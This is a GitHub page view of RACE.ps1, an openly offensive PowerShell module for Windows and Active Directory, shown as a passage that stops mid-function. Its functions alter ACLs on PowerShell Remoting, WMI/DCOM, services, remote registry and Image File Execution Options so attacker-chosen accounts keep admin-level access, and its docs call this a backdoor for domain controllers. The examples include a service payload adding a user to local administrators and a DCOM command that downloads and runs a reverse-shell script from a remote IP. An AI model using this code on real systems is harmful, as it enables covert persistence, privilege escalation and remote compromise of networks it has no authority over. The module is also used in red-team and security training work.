-
Notifications
You must be signed in to change notification settings - Fork 61
/
Copy pathRACE.ps1
4056 lines (3165 loc) · 158 KB
/
RACE.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<#
File: RACE.ps1
Author: Nikhil Mittal (@nikhil_mitt)
Description: A PowerShell module to abuse ACLs in Windows machines and Active Directory.
Required Dependencies: ActiveDirectory Module for the Set-ADAcl and Set-DCPermissions functions.
#>
###################### Functions to create persistence ######################
function Set-RemotePSRemoting
{
<#
.SYNOPSIS
Function which can be used to modify ACL of PowerShell Remoting to provide access for non-admin Principals.
.DESCRIPTION
The function takes a SamAccountName and adds permissions to the ACL of PowerShell Remoting for the Principal.
The function needs elevated shell locally and administrative privileges on a remote target.
It is possible to remove the entries added by the function by using the -Remove option.
The function is very useful as a backdoor on any machine but more so on high value targets like Domain controllers.
If you get an error like 'The I/O operation has been aborted' - ignore it. The ACl has been most likely modified.
.PARAMETER SamAccountName
SamAccountName of the user or group which will have remote access.
.PARAMETER ComputerName
Target computer. Not required when the function is used locally.
.PARAMETER Credential
Credential for the target remote computer. Not required if you already have administrative privileges on the remote computer.
.PARAMETER Remove
Use this switch to remove permissions added by the function.
.EXAMPLE
PS C:\> Set-RemotePSRemoting -SamAccountName labuser –Verbose
Use the above command to add permissions on the local machine for labuser to access PowerShell remoting.
.EXAMPLE
PS C:\> Set-RemotePSRemoting -SamAccountName labuser -ComputerName targetserver -Credential admin
Use the above command to add permissions on the remote machine for labuser to access PowerShell remoting.
.EXAMPLE
PS C:\> Set-RemotePSRemoting -SamAccountName labuser -ComputerName targetserver -Credential admin -Remove
Remove the permissions added for labuser from the remote machine.
.LINK
https://github.com/ssOleg/Useful_code/blob/master/Set-RemoteShellAccess.ps1
https://github.com/samratashok/RACE
#>
[CmdletBinding()] Param(
[Parameter(Position = 0, Mandatory = $True)]
[String]
$SamAccountName,
[Parameter(Position = 1, Mandatory = $False)]
[String]
$ComputerName,
[Parameter(Position = 2, Mandatory = $False)]
[ValidateNotNull()]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]
$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $False)]
[Switch]
$Remove
)
$RemoteScriptBlock =
{
Param(
[Parameter( Mandatory = $True)]
[String]
$SamAccountName,
$Remove
)
$SID = (New-Object System.Security.Principal.NTAccount($SamAccountName)).Translate([System.Security.Principal.SecurityIdentifier]).value
# Build an SD based on existing DACL
$existingSDDL = (Get-PSSessionConfiguration -Name "Microsoft.PowerShell" -Verbose:$false).SecurityDescriptorSDDL
Write-Verbose "Existing ACL for PSRemoting is $existingSDDL"
$isContainer = $false
$isDS = $false
$SecurityDescriptor = New-Object -TypeName Security.AccessControl.CommonSecurityDescriptor -ArgumentList $isContainer,$isDS, $existingSDDL
if (!$Remove)
{
#Create Full Control ACE entries for the target user
$accessType = "Allow"
#FullControl - https://blog.cjwdev.co.uk/2011/06/28/permissions-not-included-in-net-accessrule-filesystemrights-enum/
$accessMask = 268435456
$inheritanceFlags = "none"
$propagationFlags = "none"
$SecurityDescriptor.DiscretionaryAcl.AddAccess($accessType,$SID,$accessMask,$inheritanceFlags,$propagationFlags) | Out-Null
# Combined SDDL
$newSDDL = $SecurityDescriptor.GetSddlForm("All")
Write-Verbose "Updating ACL for PSRemoting."
Set-PSSessionConfiguration -name "Microsoft.PowerShell" -SecurityDescriptorSddl $newSDDL -force -Confirm:$false -Verbose:$false | Out-Null
Write-Verbose "New ACL for PSRemoting is $newSDDL"
}
elseif ($Remove)
{
foreach ($SDDL in $SecurityDescriptor.DiscretionaryAcl)
{
if ($SDDL.SecurityIdentifier.Value -eq $SID)
{
Write-Verbose "Removing access for user $SamAccountName."
$SecurityDescriptor.DiscretionaryAcl.RemoveAccess([System.Security.AccessControl.AccessControlType]::Allow,$SID,$SDDL.AccessMask,$SDDL.InheritanceFlags,$SDDL.PropagationFlags) | Out-Null
# Combined SDDL
$newSDDL = $SecurityDescriptor.GetSddlForm("All")
Set-PSSessionConfiguration -name "Microsoft.PowerShell" -SecurityDescriptorSddl $newSDDL -force -Confirm:$false -Verbose:$false | Out-Null
$existingSDDL = (Get-PSSessionConfiguration -Name "Microsoft.PowerShell" -Verbose:$false).SecurityDescriptorSDDL
Write-Verbose "New ACL for PSRemoting is $existingSDDL"
}
}
}
}
if ($ComputerName)
{
Invoke-Command -ScriptBlock $RemoteScriptBlock -ComputerName $ComputerName -Credential $Credential -ArgumentList $SamAccountName,$Remove
}
else
{
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList $SamAccountName,$Remove
}
}
function Set-RemoteWMI
{
<#
.SYNOPSIS
Function which can be used to modify ACLs of DCOM and WMI namespaces to provide non-admin Princiapls access to WMI.
.DESCRIPTION
The function takes a SamAccountName and adds permissions equivalent to Built-in Administrators to the ACL of
DCOM and WMI namespaces (all namespaces by default).
The function needs elevated shell locally and administrative privileges on a remote target.
It is possible to remove the entries added by the function by using the -Remove option. It is also possible to
modify only a particular namespace instead of all the namespaces by using the -NameSpace parameter with -NotAllNamsespaces switch.
The function is very useful as a backdoor on any machine but more so on high value targets like Domain controllers. Can also be used with
'evil' WMI providers like https://github.com/jaredcatkinson/EvilNetConnectionWMIProvider
and https://github.com/subTee/EvilWMIProvider
.PARAMETER SamAccountName
SamAccountName of the user or group which will have remote access.
.PARAMETER ComputerName
Target computer. Not required when the function is used locally.
.PARAMETER Credential
Credential for the target remote computer. Not required if you already have administrative privileges on the remote computer.
.PARAMETER Namespace
The namespace whose permissions will be modified. Default is "root" and all sub-namespaces or nested namespaces.
.PARAMETER NotAllNamespaces
Use this switch to modify permissions of only a particular namespaces and not the nested ones.
.PARAMETER Remove
Use this switch to remove permissions added by the function.
.EXAMPLE
PS C:\> Set-RemoteWMI -SamAccountName labuser –Verbose
Use the above command to add permissions on the local machine for labuser to access all namespaces remotely.
.EXAMPLE
PS C:\> Set-RemoteWMI -SamAccountName labuser -ComputerName 192.168.0.34 -Credential admin -Verbose
Use the above command to add permissions on the remote machine for labuser to access all namespaces remotely.
.EXAMPLE
PS C:\> Set-RemoteWMI -SamAccountName labuser -ComputerName 192.168.0.34 -Credential admin –namespace 'root\cimv2' -Verbose
Use the above command to add permissions on the remote machine for labuser to access root\cimv2 and nested namespaces remotely.
.EXAMPLE
PS C:\> Set-RemoteWMI -SamAccountName labuser -ComputerName 192.168.0.34 -Credential admin –namespace 'root\cimv2' -NotAllNamespaces -Verbose
Use the above command to add permissions on the remote machine for labuser to access only root\cimv2 remotely.
.EXAMPLE
PS C:\> Set-RemoteWMI -SamAccountName labuser -ComputerName 192.168.0.34 -Credential admin -Remove -Verbose
Remove the permissions added for labuser from the remote machine.
.LINK
https://docs.microsoft.com/en-us/dotnet/framework/wcf/diagnostics/wmi/index
https://unlockpowershell.wordpress.com/2009/11/20/script-remote-dcom-wmi-access-for-a-domain-user/
https://blogs.msdn.microsoft.com/wmi/2009/07/27/scripting-wmi-namespace-security-part-3-of-3/
https://github.com/samratashok/RACE
#>
[CmdletBinding()] Param(
[Parameter(Position = 0, Mandatory = $True)]
[String]
$SamAccountName,
[Parameter(Position = 1, Mandatory = $False)]
[String]
$ComputerName,
[Parameter(Position = 2, Mandatory = $False)]
[ValidateNotNull()]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]
$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Position = 3, Mandatory = $False)]
[String]
$Namespace = 'root',
[Parameter(Mandatory = $False)]
[Switch]
$NotAllNamespaces,
[Parameter(Mandatory = $False)]
[Switch]
$Remove
)
$SID = (New-Object System.Security.Principal.NTAccount($SamAccountName)).Translate([System.Security.Principal.SecurityIdentifier]).value
#Create ACE entries for the target user
#Check if permission is to be set on all namespaces or just the specified namespace
if ($NotAllNamespaces)
{
$SDDL = "A;;CCDCLCSWRPWPRCWD;;;$SID"
}
else
{
$SDDL = "A;CI;CCDCLCSWRPWPRCWD;;;$SID"
}
$DCOMSDDL = "A;;CCDCLCSWRP;;;$SID"
if ($ComputerName)
{
#Get an object of the StdRegProv class
$RegProvider = Get-WmiObject -Namespace root\default -Class StdRegProv -List -ComputerName $ComputerName -Credential $Credential
#Get an object of the __SystemSecurity class of target namespace which will be used to modfy permissions.
$Security = Get-WmiObject -Namespace $Namespace -Class __SystemSecurity -List -ComputerName $ComputerName -Credential $Credential
$Converter = Get-WmiObject -Namespace root\cimv2 -Class Win32_SecurityDescriptorHelper -List -ComputerName $ComputerName -Credential $Credential
}
else
{
#Get an object of the StdRegProv class
$RegProvider = Get-WmiObject -Namespace root\default -Class StdRegProv -List
#Get an object of the __SystemSecurity class of target namespace which will be used to modfy permissions.
$Security = Get-WmiObject -Namespace $Namespace -Class __SystemSecurity -List
$Converter = Get-WmiObject -Namespace root\cimv2 -Class Win32_SecurityDescriptorHelper -List
}
#Get the current settings
$DCOM = $RegProvider.GetBinaryValue(2147483650,"Software\Microsoft\Ole","MachineLaunchRestriction").uValue
$binarySD = @($null)
$result = $Security.PSBase.InvokeMethod("GetSD",$binarySD)
$outsddl = $converter.BinarySDToSDDL($binarySD[0])
Write-Verbose "Existing ACL for namespace $Namespace is $($outsddl.SDDL)"
$outDCOMSDDL = $converter.BinarySDToSDDL($DCOM)
Write-Verbose "Existing ACL for DCOM is $($outDCOMSDDL.SDDL)"
if (!$Remove)
{
#Create new SDDL for WMI namespace and DCOM
$newSDDL = $outsddl.SDDL += "(" + $SDDL + ")"
Write-Verbose "New ACL for namespace $Namespace is $newSDDL"
$newDCOMSDDL = $outDCOMSDDL.SDDL += "(" + $DCOMSDDL + ")"
Write-Verbose "New ACL for DCOM $newDCOMSDDL"
$WMIbinarySD = $converter.SDDLToBinarySD($newSDDL)
$WMIconvertedPermissions = ,$WMIbinarySD.BinarySD
$DCOMbinarySD = $converter.SDDLToBinarySD($newDCOMSDDL)
$DCOMconvertedPermissions = ,$DCOMbinarySD.BinarySD
#Set the new values
$result = $Security.PsBase.InvokeMethod("SetSD",$WMIconvertedPermissions)
$result = $RegProvider.SetBinaryValue(2147483650,"Software\Microsoft\Ole","MachineLaunchRestriction", $DCOMbinarySD.binarySD)
}
elseif ($Remove)
{
Write-Verbose "Removing added entries"
$SDDL = "(" + $SDDL + ")"
$revertsddl = ($outsddl.SDDL).Replace($SDDL,"")
Write-Verbose "Removing permissions for $SamAccountName from ACL for $Namespace namespace"
$DCOMSDDL = "(" + $DCOMSDDL + ")"
$revertDCOMSDDL = ($outDCOMSDDL.SDDL).Replace($DCOMSDDL,"")
Write-Verbose "Removing permissions for $SamAccountName for DCOM"
$WMIbinarySD = $converter.SDDLToBinarySD($revertsddl)
$WMIconvertedPermissions = ,$WMIbinarySD.BinarySD
$DCOMbinarySD = $converter.SDDLToBinarySD($revertDCOMSDDL)
$DCOMconvertedPermissions = ,$DCOMbinarySD.BinarySD
#Set the new values
$result = $Security.PsBase.InvokeMethod("SetSD",$WMIconvertedPermissions)
$result = $RegProvider.SetBinaryValue(2147483650,"Software\Microsoft\Ole","MachineLaunchRestriction", $DCOMbinarySD.binarySD)
Write-Verbose "The new ACL for namespace $Namespace is $revertsddl"
Write-Verbose "The new ACL for DCOM is $revertDCOMSDDL"
}
}
function Set-RemoteServicePermissions
{
<#
.SYNOPSIS
Function which can be used to modify Security Descriptors of services on local or remote machine.
.DESCRIPTION
The function takes a SamAccountName and adds permissions to the security descriptor of services for the Principal.
The function needs elevated shell locally and administrative privileges on a remote target.
Note that there will be System logs for service creation or config change.
If target service is SCManager. It allows creating new services but we still need to provide the SamAccountName
permissions to modify the service configuration.
.PARAMETER SamAccountName
SamAccountName which will have remote access.
.PARAMETER ComputerName
Target computer. Not required when the function is used locally.
.PARAMETER ServiceName
The target service name. By default, scmanager is the target service.
.PARAMETER Credential
Credential for the target remote computer. Not required if you already have administrative privileges on the remote computer.
.PARAMETER SecurityDescriptor
The SecurityDescriptor to be set on the target service. If not provided, then the function creates one.
.PARAMETER Rights
The Rights flag for SecurityDescriptor. By default, 'CCDCLCSWRPWPDTLOCRSDRCWDWO' is used.
.PARAMETER Remove
Use this switch to remove permissions added by the function.
.EXAMPLE
PS C:\> Set-RemoteServicePermissions -SamAccountName labuser -ComputerName ops-mssql -ServiceName scmanager -Verbose
PS C:\> Set-RemoteServiceAbuse -ComputerName ops-mssql -UserName 'ops\proxyuser' -CreateService evilsvc -SamAccountName labuser -Verbose
In the above commands, the first command modifies the Security Descriptor of scmanager on the target machine.
THe second command (which is a separate function) sets a payload for executable of 'evilsvc' service which adds 'ops\proxyuser'
to the local administrators group. It also suggests to run the below command which provides 'labuser' the permission
to modify 'evilsvc'
Set-RemoteServicePermissions -SamAccountName labuser -ServiceName evilsvc -ComputerName ops-mssql
PS C:\> sc.exe \\ops-mssql start evilsvc
Run the above command as 'labuser' to execute the payload set as executable of evilsvc.
.EXAMPLE
PS C:\> Set-RemoteServicePermissions -SamAccountName labuser -ComputerName ops-mssql -ServiceName ALG -Verbose
Use the above command to modify permissions for the 'ALG' service to give 'labuser' modify rights.
PS C:\> Set-RemoteServiceAbuse -ComputerName ops-mssql -UserName 'labuser' -ServiceName ALG -Verbose
Run the above command as 'labuser' to configure ALG to run as SYSTEM and modify its executable path to add 'labuser'
or other Principal provided in the UserName parameter to the local adminisrators group on the target machines.
.LINK
https://github.com/samratashok/RACE
#>
[CmdletBinding()] Param(
[Parameter(Position = 0, Mandatory = $True)]
[String]
$SamAccountName,
[Parameter(Position = 1, Mandatory = $False)]
[String]
$ComputerName,
[Parameter(Position = 2, Mandatory = $False)]
[String]
$ServiceName = "scmanager",
[Parameter(Position = 3, Mandatory = $False)]
[ValidateNotNull()]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]
$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Position = 4, Mandatory = $False)]
[String]
$SecurityDescriptor,
[Parameter(Position = 5, Mandatory = $False)]
[String]
$Rights = "CCDCLCSWRPWPDTLOCRSDRCWDWO",
[Parameter(Mandatory = $False)]
[Switch]
$Remove
)
# Retreive SID of the user
$SID = (New-Object System.Security.Principal.NTAccount($SamAccountName)).Translate([System.Security.Principal.SecurityIdentifier]).value
# Check if user has provided Security Descriptor
if ($SecurityDescriptor)
{
$newSDDL = $SecurityDescriptor
}
# if not, provide permissions over the target service to the provided user
else
{
if ($ServiceName -eq 'scmanager')
{
$SD = "(A;;GA;;;$SID)"
}
else
{
$SD = "(A;;$Rights;;;$SID)"
}
}
if ($ComputerName)
{
if ($Remove)
{
Write-Verbose "For future use. Currently, there is no automatic clean up"
}
else
{
Write-Verbose "The existing ACL of the $ServiceName service on $ComputerName. Please note this as there is no automatic clean up."
$ExistingSDDL = sc.exe \\$ComputerName sdshow $ServiceName
$ExistingSDDL[1]
$newSDDL = $ExistingSDDL[1].Insert(2,$SD)
Write-Verbose "New ACL of the $ServiceName service on $ComputerName."
$newSDDL
# Modify ACL of the target service
Write-Verbose "Modifying ACL of the $ServiceName service on $ComputerName."
sc.exe \\$ComputerName sdset $ServiceName $newSDDL
}
}
else
{
if ($Remove)
{
Write-Verbose "For future use. Currently, there is no automatic clean up"
}
Write-Verbose "The existing ACL of the $ServiceName service. Please note this as is no automatic clean up."
$ExistingSDDL = sc.exe sdshow $ServiceName
$ExistingSDDL[1]
Write-Verbose "New ACL of the $ServiceName service."
$newSDDL
# Modify ACL of the target service
Write-Verbose "Modifying ACL of the $ServiceName service."
sc.exe sdset $ServiceName $newSDDL
}
}
function Set-RemoteRegistryPermissions
{
<#
.SYNOPSIS
Function which can be used to modify Permissions of Remote Registry by modifying a registry key on local or remote machine.
.DESCRIPTION
The function modifies the Permissions for the registry key 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg'
which controls access to Registry remotely.
The function needs elevated shell locally and administrative privileges on a remote target.
Currently, the function uses PowerShell Remoting to modify the permissions.
.PARAMETER SamAccountName
SamAccountName which will have remote access.
.PARAMETER ComputerName
Target computer. Not required when the function is used locally.
.PARAMETER Credential
Credential for the target remote computer. Not required if you already have administrative privileges on the remote computer.
.PARAMETER Remove
Use this switch to remove permissions added by the function.
.EXAMPLE
PS C:\> Set-RemoteRegistryPermissions -SamAccountName labuser -ComputerName ops-mssql -Verbose
Use the above command to modify permissions of the 'Remote Registry' key on the target machine to allow 'labuser'
access to Remote Registry.
.LINK
https://github.com/samratashok/RACE
#>
[CmdletBinding()] Param(
[Parameter(Position = 0, Mandatory = $True)]
[String]
$SamAccountName,
[Parameter(Position = 1, Mandatory = $False)]
[String]
$ComputerName,
[Parameter(Position = 2, Mandatory = $False)]
[ValidateNotNull()]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]
$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $False)]
[Switch]
$Remove
)
# Use PSRemoting to access the registry key.
# Can also use WMI or Win32.RegistryKey class. Can implement in future by providing Procotol option.
$RemoteScriptBlock =
{
Param(
[Parameter( Mandatory = $True)]
[String]
$SamAccountName,
$Remove
)
if (!$Remove)
{
# Get the existing ACL for Remote Registry key
$RegKey = 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg'
Write-Verbose "Getting the existing ACL for $RegKey"
$ACL = Get-Acl $RegKey
# Provide ReadKey permission to the user which we control
$ACE = New-Object System.Security.AccessControl.RegistryAccessRule($SamAccountName,'ReadKey','Allow')
$ACL.AddAccessRule($ACE)
# Set the ACL
Write-Verbose "Setting ACL for Remote Registry $RegKey"
Set-Acl $RegKey -AclObject $ACL
}
}
if ($ComputerName)
{
Write-Verbose "Executing on $ComputerName."
Invoke-Command -ScriptBlock $RemoteScriptBlock -ComputerName $ComputerName -Credential $Credential -ArgumentList $SamAccountName,$Remove
}
else
{
Write-Verbose "Executing on the local computer."
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList $SamAccountNam,$Remove
}
}
function Set-RegistryImageFileExecution
{
<#
.SYNOPSIS
Function to modify permissions for Image File Execution Options and NLA registry key.
.DESCRIPTION
The function modifies the Permissions for the registry key 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options'
and 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp'.
The function needs elevated shell locally and administrative privileges on a remote target.
Currently, the function uses PowerShell Remoting to modify the permissions.
.PARAMETER SamAccountName
SamAccountName which will have remote access.
.PARAMETER ComputerName
Target computer. Not required when the function is used locally.
.PARAMETER Credential
Credential for the target remote computer. Not required if you already have administrative privileges on the remote computer.
.PARAMETER Remove
Use this switch to remove permissions added by the function.
.EXAMPLE
PS C:\> Set-RegistryImageFileExecution -SamAccountName labuser -ComputerName ops-mssql -Verbose
Use the above command to modify permissions of the 'Image File Execution Options' key on the target machine to allow 'labuser'
permissions to modify the key and its subkeys.
PS C:\> Invoke-RegistryAbuse -ComputerName ops-mssql -Method ImageFileExecution -Verbose
Above command sets payload for sethc and disables NLA.
.LINK
https://github.com/samratashok/RACE
#>
[CmdletBinding()] Param(
[Parameter(Position = 0, Mandatory = $True)]
[String]
$SamAccountName,
[Parameter(Position = 1, Mandatory = $False)]
[String]
$ComputerName,
[Parameter(Position = 2, Mandatory = $False)]
[ValidateNotNull()]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]
$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $False)]
[Switch]
$Remove
)
# Use PSRemoting to access the registry key.
# Can also use WMI or Win32.RegistryKey class. Can implement in future by providing Procotol option.
$RemoteScriptBlock =
{
Param(
[Parameter( Mandatory = $True)]
[String]
$SamAccountName,
$Remove
)
if (!$Remove)
{
# Get the existing ACL for Image File Execution key.
$RegKey = 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options'
Write-Verbose "Getting the existing ACL for $RegKey"
$ACL = Get-Acl $RegKey
# Provide minimum required permission to the user which we control
$ACE = New-Object System.Security.AccessControl.RegistryAccessRule($SamAccountName,'QueryValue','ContainerInherit','None','Allow')
$ACL.AddAccessRule($ACE)
$ACE = New-Object System.Security.AccessControl.RegistryAccessRule($SamAccountName,'SetValue','ContainerInherit','None','Allow')
$ACL.AddAccessRule($ACE)
$ACE = New-Object System.Security.AccessControl.RegistryAccessRule($SamAccountName,'CreateSubkey','ContainerInherit','None','Allow')
$ACL.AddAccessRule($ACE)
$ACE = New-Object System.Security.AccessControl.RegistryAccessRule($SamAccountName,'EnumerateSubKeys','ContainerInherit','None','Allow')
$ACL.AddAccessRule($ACE)
$ACE = New-Object System.Security.AccessControl.RegistryAccessRule($SamAccountName,'ReadPermissions','ContainerInherit','None','Allow')
$ACL.AddAccessRule($ACE)
# Set the ACL
Write-Verbose "Setting ACL for $RegKey"
Set-Acl $RegKey -AclObject $ACL
# Get the existing ACL NLA Registry key.
$RegKey = 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp'
Write-Verbose "Getting the existing ACL for $RegKey"
$ACL = Get-Acl $RegKey
# Provide minimum required permission to the user which we control
$ACE = New-Object System.Security.AccessControl.RegistryAccessRule($SamAccountName,'QueryValue','ContainerInherit','None','Allow')
$ACL.AddAccessRule($ACE)
$ACE = New-Object System.Security.AccessControl.RegistryAccessRule($SamAccountName,'SetValue','ContainerInherit','None','Allow')
$ACL.AddAccessRule($ACE)
$ACE = New-Object System.Security.AccessControl.RegistryAccessRule($SamAccountName,'CreateSubkey','ContainerInherit','None','Allow')
$ACL.AddAccessRule($ACE)
$ACE = New-Object System.Security.AccessControl.RegistryAccessRule($SamAccountName,'EnumerateSubKeys','ContainerInherit','None','Allow')
$ACL.AddAccessRule($ACE)
$ACE = New-Object System.Security.AccessControl.RegistryAccessRule($SamAccountName,'ReadPermissions','ContainerInherit','None','Allow')
$ACL.AddAccessRule($ACE)
# Set the ACL
Write-Verbose "Setting ACL for Remote Registry $RegKey"
Set-Acl $RegKey -AclObject $ACL
}
}
if ($ComputerName)
{
Write-Verbose "Executing on $ComputerName."
Invoke-Command -ScriptBlock $RemoteScriptBlock -ComputerName $ComputerName -Credential $Credential -ArgumentList $SamAccountName,$Remove
}
else
{
Write-Verbose "Executing on the local computer."
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList $SamAccountNam,$Remove
}
}
function Set-DCOMPermissions
{
<#
.SYNOPSIS
Function which can be used to modify ACLs of DCOM provide non-admin Princiapls access to DCOM.
.DESCRIPTION
The function takes a SamAccountName and adds permissions equivalent to Built-in Administrators to the ACL of DCOM.
The function needs elevated shell locally and administrative privileges on a remote target.
It is possible to remove the entries added by the function by using the -Remove option.
.PARAMETER SamAccountName
SamAccountName of the user or group which will have remote access.
.PARAMETER ComputerName
Target computer. Not required when the function is used locally.
.PARAMETER Credential
Credential for the target remote computer. Not required if you already have administrative privileges on the remote computer.
.PARAMETER Remove
Use this switch to remove permissions added by the function.
.EXAMPLE
PS C:\> Set-DCOMPermissions -UserName labuser -ComputerName ops-mssql -Verbose
Use the above command to add permissions on the target machine for labuser to execute commands using DCOM.
Then use the below command as labuser to run commands:
Invoke-DCOMAbuse -ComputerName ops-build -Method MMC20 -Arguments 'iex(iwr -UseBasicParsing http://192.168.100.31:8080/Invoke-PowerShellTcp.ps1)'
.LINK
https://github.com/samratashok/RACE
#>
[CmdletBinding()] Param(
[Parameter(Position = 0, Mandatory = $True)]
[String]
$UserName,
[Parameter(Position = 1, Mandatory = $False)]
[String]
$ComputerName,
[Parameter(Position = 2, Mandatory = $False)]
[ValidateNotNull()]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]
$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $False)]
[Switch]
$Remove
)
$currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent())
if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true)
{
Write-Warning "Run the script as an Administrator"
Break
}
$SID = (New-Object System.Security.Principal.NTAccount($UserName)).Translate([System.Security.Principal.SecurityIdentifier]).value
#Create ACE entries for the target user
$SDDL = "A;;CCDCLCSWRPWPRCWD;;;$SID"
$DCOMSDDL = "A;;CCDCLCSWRP;;;$SID"
if ($ComputerName)
{
#Get an object of the StdRegProv class
$RegProvider = Get-WmiObject -Namespace root\default -Class StdRegProv -List -ComputerName $ComputerName -Credential $Credential
$Converter = Get-WmiObject -Namespace root\cimv2 -Class Win32_SecurityDescriptorHelper -List -ComputerName $ComputerName -Credential $Credential
}
else
{
#Get an object of the StdRegProv class
$RegProvider = Get-WmiObject -Namespace root\default -Class StdRegProv -List
$Converter = Get-WmiObject -Namespace root\cimv2 -Class Win32_SecurityDescriptorHelper -List
}
# Get the current settings for Launch Restrictions
$DCOMLaunchRestrictions = $RegProvider.GetBinaryValue(2147483650,"Software\Microsoft\Ole","MachineLaunchRestriction").uValue
$binarySDLaunchRestrictions = @($null)
$outDCOMSDDLLaunchRestrictions = $converter.BinarySDToSDDL($DCOMLaunchRestrictions)
Write-Verbose "Existing ACL for DCOM Launch Restrictions is $($outDCOMSDDLLaunchRestrictions.SDDL)"
# Get the current settings for Default Launch Permissions
$DCOMLaunchPermissions = $RegProvider.GetBinaryValue(2147483650,"Software\Microsoft\Ole","DefaultLaunchPermission").uValue
$binarySDLaunchPermissionss = @($null)
$outDCOMSDDLLaunchPermissions = $converter.BinarySDToSDDL($DCOMLaunchPermissions)
Write-Verbose "Existing ACL for DCOM Launch Permissions is $($outDCOMSDDLLaunchPermissions.SDDL)"
if (!$Remove)
{
#Create new SDDL for DCOM Launch Restriction
$newDCOMSDDLLaunchRestrictions = $outDCOMSDDLLaunchRestrictions.SDDL += "(" + $DCOMSDDL + ")"
